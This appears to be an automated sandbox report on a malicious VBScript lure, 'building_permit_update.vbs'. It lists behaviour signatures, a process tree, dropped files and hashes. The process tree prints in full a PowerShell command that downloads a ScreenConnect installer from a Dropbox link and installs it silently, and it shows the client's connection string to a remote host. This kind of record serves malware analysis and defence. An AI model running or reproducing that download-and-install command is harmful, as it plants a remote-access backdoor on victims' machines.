Analysis

  • max time kernel
    299s
  • max time network
    259s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 09:06

General

  • Target
    building_permit_update.vbs
  • Size 1KB
  • Sample260910-k2zdlagc98
  • SHA256 4804157b82bf443e78decfaf682d3fee541cc4b721365617e74f5ee3a6aa5f5b
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • cURL User-Agent 2 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\building_permit_update.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4140
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {mkdir C:\Temp -Force 2>$null; curl.exe -L --ssl-no-revoke 'https://www.dropbox.com/scl/fi/kq0kkioxadt2pb0eogvdo/ScreenConnect.ClientSetup-2.msi?rlkey=x13di3aw0jeyxum1pi8lkwl63&st=fmy3zwg3&dl=1' -o C:\Temp\dfbggsr.msi; msiexec.exe /i 'C:\Temp\dfbggsr.msi' /qn /norestart}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3416
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -L --ssl-no-revoke https://www.dropbox.com/scl/fi/kq0kkioxadt2pb0eogvdo/ScreenConnect.ClientSetup-2.msi?rlkey=x13di3aw0jeyxum1pi8lkwl63&st=fmy3zwg3&dl=1 -o C:\Temp\dfbggsr.msi
        3⤵
          PID:2464
        • C:\Windows\system32\msiexec.exe
          "C:\Windows\system32\msiexec.exe" /i C:\Temp\dfbggsr.msi /qn /norestart
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4288
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4196
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 8FA97F8E167277C48837D862C38FDDB0
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2764
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI7083.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240742781 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:2372
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 8614EABF5AE6077DC8D2C181613D34AB E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:3916
    • C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=207.189.19.215&p=8041&s=7d621ada-db57-4b70-8776-e23eeb87d3f8&k=BgIAAACkAABSU0ExAAgAAAEAAQDR5NyKFRrYhb9znUBr29bPHy3HeReYlx0TvqZQ0Q77d%2fePTUMizZHdu%2fDmJK0MwyGNNCInFxVPIOvDrDiMAe%2bGot6JlJ6KAnA%2bV7qid2kGi9t97SJHVLDzvkCK8yO9L64xaZJ%2fS4mGPlRz1qQ8sOzstKmtff71CQ4YguEIV1AKYnZn0Rn%2fGV7AYY1MVWEE0VGZv1FhDq8LAlBhEUWHv7VADW7436yevH4HjFiahPCX9KsbjHT%2bC3vo2I4m%2fSOY%2fr6%2fPpz0wdiNVMACpsCC4di9lzhvPZpBijgETOdfxkVHeAwIx8jeLurHUWhNrY%2b1jNHG%2bWpw%2fbJhSFQGd7dmflrH"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5148
      • C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.WindowsClient.exe" "RunRole" "dd30658e-d218-47b7-8892-2a03184a461e" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:6016
      • C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.WindowsClient.exe" "RunRole" "a10bea00-36a8-4f9a-985d-765faf6028b1" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3908

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e596de6.rbs

          • Path C:\Config.Msi\e596de6.rbs
          • Size 214KB
          • SHA256 3e3a71cdf1ca689b45af28de66988c0c9278124e743f6e20cc8c95ee5951025f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5c64c15a9928c606)\system.config
          • Size 946B
          • SHA256 944f1e4acb4075b06b9dafe496be5da37e89bd19e0ee31cd9667b62b2f365f2b
          • MD5 SHA1 SHA512 TLSH

          dfbggsr.msi

          • Path C:\Temp\dfbggsr.msi
          • Size 9.5MB
          • SHA256 33f5b6c1fc4004f1de8b76cfa42b969deb1e412f5ecf93e6a86c4352c8bd5858
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI7083.tmp

          • Path C:\Windows\Installer\MSI7083.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI7083.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI7083.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI7083.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI7083.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI7CBA.tmp

          • Path C:\Windows\Installer\MSI7CBA.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2372-39-0x0000000003840000-0x000000000386E000-memory.dmp

          memory/2372-43-0x0000000003880000-0x000000000388A000-memory.dmp

          memory/2372-47-0x0000000005A00000-0x0000000005A8C000-memory.dmp

          memory/2372-51-0x0000000005C40000-0x0000000005DEA000-memory.dmp

          memory/2372-52-0x00000000063B0000-0x000000000696A000-memory.dmp

          memory/3416-18-0x00007FFA79600000-0x00007FFA79FA4000-memory.dmp

          memory/3416-9-0x00007FFA79600000-0x00007FFA79FA4000-memory.dmp

          memory/3416-5-0x0000022777400000-0x0000022777422000-memory.dmp

          memory/3416-14-0x00007FFA79600000-0x00007FFA79FA4000-memory.dmp

          memory/3416-13-0x00007FFA79600000-0x00007FFA79FA4000-memory.dmp

          memory/3416-6-0x00007FFA79600000-0x00007FFA79FA4000-memory.dmp

          memory/3416-12-0x00007FFA79600000-0x00007FFA79FA4000-memory.dmp

          memory/3416-2-0x00007FFA7978F000-0x00007FFA79790000-memory.dmp

          memory/3416-11-0x00007FFA79600000-0x00007FFA79FA4000-memory.dmp

          memory/3416-7-0x00007FFA79600000-0x00007FFA79FA4000-memory.dmp

          memory/3416-10-0x00007FFA79600000-0x00007FFA79FA4000-memory.dmp

          memory/3416-8-0x00007FFA79600000-0x00007FFA79FA4000-memory.dmp

          memory/5148-112-0x00000000043A0000-0x00000000043D6000-memory.dmp

          memory/5148-120-0x0000000004830000-0x0000000004902000-memory.dmp

          memory/5148-118-0x00000000045A0000-0x00000000045E1000-memory.dmp

          memory/5148-115-0x0000000004640000-0x00000000046D2000-memory.dmp

          memory/5148-108-0x0000000004350000-0x00000000043A0000-memory.dmp

          memory/5148-89-0x00000000040E0000-0x00000000040F8000-memory.dmp

          memory/6016-128-0x0000000000470000-0x0000000000506000-memory.dmp

          memory/6016-129-0x0000000000DE0000-0x0000000000E16000-memory.dmp

          memory/6016-130-0x000000001B4E0000-0x000000001B56C000-memory.dmp

          memory/6016-131-0x000000001B720000-0x000000001B8CA000-memory.dmp

          memory/6016-132-0x000000001BA60000-0x000000001BBE8000-memory.dmp

          memory/6016-133-0x0000000000D90000-0x0000000000DA8000-memory.dmp

          memory/6016-134-0x000000001B0C0000-0x000000001B0D8000-memory.dmp